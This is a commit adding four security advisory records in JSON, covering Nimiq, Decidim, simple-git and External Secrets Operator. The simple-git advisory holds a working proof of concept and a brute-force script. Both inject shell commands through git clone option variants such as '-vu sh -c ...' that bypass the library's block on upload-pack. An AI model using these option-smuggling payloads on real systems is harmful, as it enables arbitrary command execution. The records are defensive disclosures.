Skip to content

Commit 5ac3b2c

Browse files
1 parent 3ae6e49 commit 5ac3b2c

4 files changed

Lines changed: 305 additions & 0 deletions

File tree

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-48m6-486p-9j8p",
4+
"modified": "2026-04-13T16:36:00Z",
5+
"published": "2026-04-13T16:36:00Z",
6+
"aliases": [
7+
"CVE-2026-34069"
8+
],
9+
"summary": "nimiq-consensus panics via RequestMacroChain micro-block locator",
10+
"details": "### Impact\n An unauthenticated p2p peer can cause the `RequestMacroChain` message handler task to panic by sending a `RequestMacroChain` message where the first locator hash that is on the victim’s main chain is a micro block hash (not a macro block hash).\n\nIn `RequestMacroChain::handle`, the handler selects the locator based only on \"is on main chain\", then calls `get_macro_blocks()` and panics via `.unwrap()` when the selected hash is not a macro block (`BlockchainError::BlockIsNotMacro`).\n\n### Patches\nThe patch for this vulnerability](https://github.com/nimiq/core-rs-albatross/pull/3660) is formally released as part of [v1.3.0](https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0).\n\n### Workarounds\nNo known workarounds.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "crates.io",
21+
"name": "nimiq-consensus"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "1.2.2"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-48m6-486p-9j8p"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/nimiq/core-rs-albatross/pull/3660"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/nimiq/core-rs-albatross/commit/ae6c1e92342e72f80fd12accbe66ee80dd6802ac"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/nimiq/core-rs-albatross"
54+
},
55+
{
56+
"type": "WEB",
57+
"url": "https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-617"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-04-13T16:36:00Z",
67+
"nvd_published_at": null
68+
}
69+
}
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-fc46-r95f-hq7g",
4+
"modified": "2026-04-13T16:35:13Z",
5+
"published": "2026-04-13T16:35:13Z",
6+
"aliases": [
7+
"CVE-2026-23891"
8+
],
9+
"summary": "Decidim has a cross-site scripting (XSS) in user name",
10+
"details": "### Impact\nA stored code execution vulnerability in the user name field allows a low-privileged attacker to execute arbitrary code in the context of any user who passively visits a comment page, resulting in high confidentiality and integrity impact across security boundaries.\n\n### Patches\nN/A\n\n### Workarounds\nNot available\n\n### References\nOWASP ASVS v4.0.3-5.1.3\n\n### Credits\nThis issue was discovered in a security audit organized by [octree](https://octree.ch/) and made by [Secu Labs](https://seculabs.ch/) against Decidim financed by the city of Lausanne (Switzerland).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "RubyGems",
21+
"name": "decidim-core"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0.31.0.rc1"
29+
},
30+
{
31+
"fixed": "0.31.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "< 0.31.0"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "RubyGems",
43+
"name": "decidim-core"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"fixed": "0.30.5"
54+
}
55+
]
56+
}
57+
]
58+
}
59+
],
60+
"references": [
61+
{
62+
"type": "WEB",
63+
"url": "https://github.com/decidim/decidim/security/advisories/GHSA-fc46-r95f-hq7g"
64+
},
65+
{
66+
"type": "PACKAGE",
67+
"url": "https://github.com/decidim/decidim"
68+
},
69+
{
70+
"type": "WEB",
71+
"url": "https://github.com/decidim/decidim/releases/tag/v0.30.5"
72+
},
73+
{
74+
"type": "WEB",
75+
"url": "https://github.com/decidim/decidim/releases/tag/v0.31.1"
76+
}
77+
],
78+
"database_specific": {
79+
"cwe_ids": [
80+
"CWE-79"
81+
],
82+
"severity": "CRITICAL",
83+
"github_reviewed": true,
84+
"github_reviewed_at": "2026-04-13T16:35:13Z",
85+
"nvd_published_at": null
86+
}
87+
}
Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-jcxm-m3jx-f287",
4+
"modified": "2026-04-13T16:35:37Z",
5+
"published": "2026-04-13T16:35:37Z",
6+
"aliases": [
7+
"CVE-2026-28291"
8+
],
9+
"summary": "simple-git Affected by Command Execution via Option-Parsing Bypass",
10+
"details": "### Summary\n\nsimple-git enables running native Git commands from JavaScript. Some commands accept options that allow executing another command; because this is very dangerous, execution is denied unless the user explicitly allows it. This vulnerability allows a malicious actor who can control the options to execute other commands even in a “safe” state where the user has not explicitly allowed them. The vulnerability was introduced by an incorrect patch for CVE-2022-25860. It is *likely* to affect all versions prior to and including 3.28.0.\n\n\n### Detail\n\nThis vulnerability was introduced by an incorrect patch for CVE-2022-25860.\n\nIt was reproduced in the following environment:\n\n```\n\nWSL Docker\nnode: v22.19.0\ngit: git version 2.39.5\nsimple-git: 3.28.0\n\n````\n\nThe issue was not reproduced on Windows 11.\n\nThe `-u` option, like `--upload-pack`, allows a command to be executed.\n\nCurrently, the `-u` and `--upload-pack` options are blocked in the file `simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts`.\n\n```ts\nfunction preventUploadPack(arg: string, method: string) {\n if (/^\\s*--(upload|receive)-pack/.test(arg)) {\n throw new GitPluginError(\n undefined,\n 'unsafe',\n `Use of --upload-pack or --receive-pack is not permitted without enabling allowUnsafePack`\n );\n }\n\n if (method === 'clone' && /^\\s*-u\\b/.test(arg)) {\n throw new GitPluginError(\n undefined,\n 'unsafe',\n `Use of clone with option -u is not permitted without enabling allowUnsafePack`\n );\n }\n\n if (method === 'push' && /^\\s*--exec\\b/.test(arg)) {\n throw new GitPluginError(\n undefined,\n 'unsafe',\n `Use of push with option --exec is not permitted without enabling allowUnsafePack`\n );\n }\n}\n````\n\nHowever, the problem is that command option parsing is quite flexible.\n\nBy brute forcing, I found various options that bypass the `-u` check.\n\n```\n[\n '--u', '--u',\n '-4u', '-6u',\n '-lu', '-nu',\n '-qu', '-su',\n '-vu'\n]\n```\n\nAll of the above are three-character options that allow command execution. They enable execution even when `allowUnsafePack` is explicitly set to false.\n\nThe depressing fact is that the options I found are probably only a tiny fraction of all possible option formats that enable command execution. In addition to the `-u` option, there is also the `--upload-pack` option and others, and some of the options I found can probably be extended to arbitrary length. Considering this, the number of option variants that enable command execution is probably infinite.\n\nTherefore, I could not find an effective way to block all such cases. Personally, I think it is virtually impossible to block this vulnerability completely. To fully block it, one would have to faithfully emulate Git’s option parsing rules, and it’s doubtful whether that is feasible.\n\nJust in case, I’ll share the brute-force code I used to find options that enable command execution.\n\n```js\nconst fs = require('fs');\nconst simpleGit = require('simple-git');\n\nconst TMP_DIR = './pwned/';\nconst ITER = 256;\n\nfunction cleanTmpDir() {\n if (fs.existsSync(TMP_DIR)) {\n fs.rmSync(TMP_DIR, { recursive: true, force: true });\n }\n fs.mkdirSync(TMP_DIR, { recursive: true });\n}\n\nfunction getPwnedFiles() {\n const found = [];\n for (let i = 0; i < ITER; i++) {\n const fname1 = `${TMP_DIR}1_${i}`;\n const fname2 = `${TMP_DIR}2_${i}`;\n const fname3 = `${TMP_DIR}3_${i}`;\n if (fs.existsSync(fname1)) found.push(String.fromCharCode(i) + '-u');\n if (fs.existsSync(fname2)) found.push('-' + String.fromCharCode(i) + 'u');\n if (fs.existsSync(fname3)) found.push('-u' + String.fromCharCode(i));\n }\n return found;\n}\n\nasync function runTest(runIdx) {\n const git = simpleGit();\n // 1. `${~}-u` Pattern\n for (let i = 0; i < ITER; i++) {\n try {\n await git.clone('./testrepo1', './testrepo2', [String.fromCharCode(i) + '-u', `sh -c \\\"touch ${TMP_DIR}1_${i}\\\"`]);\n } catch {}\n }\n // 2. `-${~}u` Pattern\n for (let i = 0; i < ITER; i++) {\n try {\n await git.clone('./testrepo1', './testrepo2', ['-' + String.fromCharCode(i) + 'u', `sh -c \\\"touch ${TMP_DIR}2_${i}\\\"`]);\n } catch {}\n }\n // 3. `-u${~}` Pattern\n for (let i = 0; i < ITER; i++) {\n try {\n await git.clone('./testrepo1', './testrepo2', ['-u' + String.fromCharCode(i), `sh -c \\\"touch ${TMP_DIR}3_${i}\\\"`]);\n } catch {}\n }\n}\n\nasync function main() {\n cleanTmpDir();\n await runTest();\n\n const found = getPwnedFiles();\n \n console.log(found);\n}\n\nmain();\n```\n\n### PoC\n\nThe environment in which I succeeded is as follows. As long as the OS remains Linux, I suspect it will succeed reliably despite considerable variation in other factors.\n\n```\nWSL Docker\nnode: v22.19.0\ngit: git version 2.39.5\nsimple-git: 3.28.0\n```\n\n1.\n\nCreate any git repository inside the `testrepo1` folder. A very simple repository with a single commit and a single file is fine.\n\n2.\n\nRun the following:\n\n```js\nconst { simpleGit } = require('simple-git');\n\nasync function main() {\n const git = await simpleGit({ unsafe: { allowUnsafePack: false } });\n await git.clone('./testrepo1', './testrepo2', [`-vu sh -c \\\"touch /tmp/pwned\\\"`]);\n}\n\nmain();\n```\n\nThis PoC explicitly configures `allowUnsafePack` to `false`. Of course, the same vulnerability occurs even without this option. An error is the expected behavior.\n\n3.\n\nCheck `/tmp` to confirm that `pwned` has been created.\nIf it failed, try replacing `-vu` with a different option from the list.\n\n### Impact\n\nThis vulnerability is *likely* to affect all versions prior to and including 3.28.0. This is because it appears to be a continuation of the series of four vulnerabilities previously found in simple-git (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "simple-git"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.32.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-jcxm-m3jx-f287"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/steveukx/git-js"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/steveukx/git-js/blob/789c13ebabcf18ebe0b3a0c88ebb4037dede42e3/simple-git/src/lib/plugins/block-unsafe-operations-plugin.ts#L26"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://www.cve.org/CVERecord?id=CVE-2022-25860"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-78"
59+
],
60+
"severity": "HIGH",
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-13T16:35:37Z",
63+
"nvd_published_at": null
64+
}
65+
}
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-r2pg-r6h7-crf3",
4+
"modified": "2026-04-13T16:36:36Z",
5+
"published": "2026-04-13T16:36:36Z",
6+
"aliases": [
7+
"CVE-2026-34984"
8+
],
9+
"summary": "External Secrets Operator has DNS-based secret exfiltration via getHostByName in External Secrets v2 template engine",
10+
"details": "## Summary\n\nThe v2 template engine in `runtime/template/v2/template.go` imports Sprig’s `TxtFuncMap()` and removes `env` and `expandenv`, but leaves `getHostByName` available to user-controlled templates. Because ESO executes templates inside the controller process, an attacker who can create or update templated ExternalSecret resources can trigger controller-side DNS lookups using secret-derived values, creating a DNS exfiltration primitive.\n\n### Impact\nThis is a confidentiality issue. In environments where untrusted or lower-trust users can author templated ExternalSecret resources and the controller can perform DNS resolution, fetched secret material can be exfiltrated through DNS without requiring direct outbound access from the attacker’s workload.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/external-secrets/external-secrets"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.3.3-0.20260331202714-6800989bdc12"
32+
}
33+
]
34+
}
35+
]
36+
},
37+
{
38+
"package": {
39+
"ecosystem": "Go",
40+
"name": "github.com/external-secrets/external-secrets"
41+
},
42+
"ranges": [
43+
{
44+
"type": "ECOSYSTEM",
45+
"events": [
46+
{
47+
"introduced": "2.0.0"
48+
},
49+
{
50+
"last_affected": "2.2.0"
51+
}
52+
]
53+
}
54+
]
55+
}
56+
],
57+
"references": [
58+
{
59+
"type": "WEB",
60+
"url": "https://github.com/external-secrets/external-secrets/security/advisories/GHSA-r2pg-r6h7-crf3"
61+
},
62+
{
63+
"type": "WEB",
64+
"url": "https://github.com/external-secrets/external-secrets/commit/6800989bdc12782ca2605d3b8bf7f2876a16551a"
65+
},
66+
{
67+
"type": "PACKAGE",
68+
"url": "https://github.com/external-secrets/external-secrets"
69+
},
70+
{
71+
"type": "WEB",
72+
"url": "https://github.com/external-secrets/external-secrets/releases/tag/v2.3.0"
73+
}
74+
],
75+
"database_specific": {
76+
"cwe_ids": [
77+
"CWE-200"
78+
],
79+
"severity": "HIGH",
80+
"github_reviewed": true,
81+
"github_reviewed_at": "2026-04-13T16:36:36Z",
82+
"nvd_published_at": null
83+
}
84+
}

0 commit comments

Comments
 (0)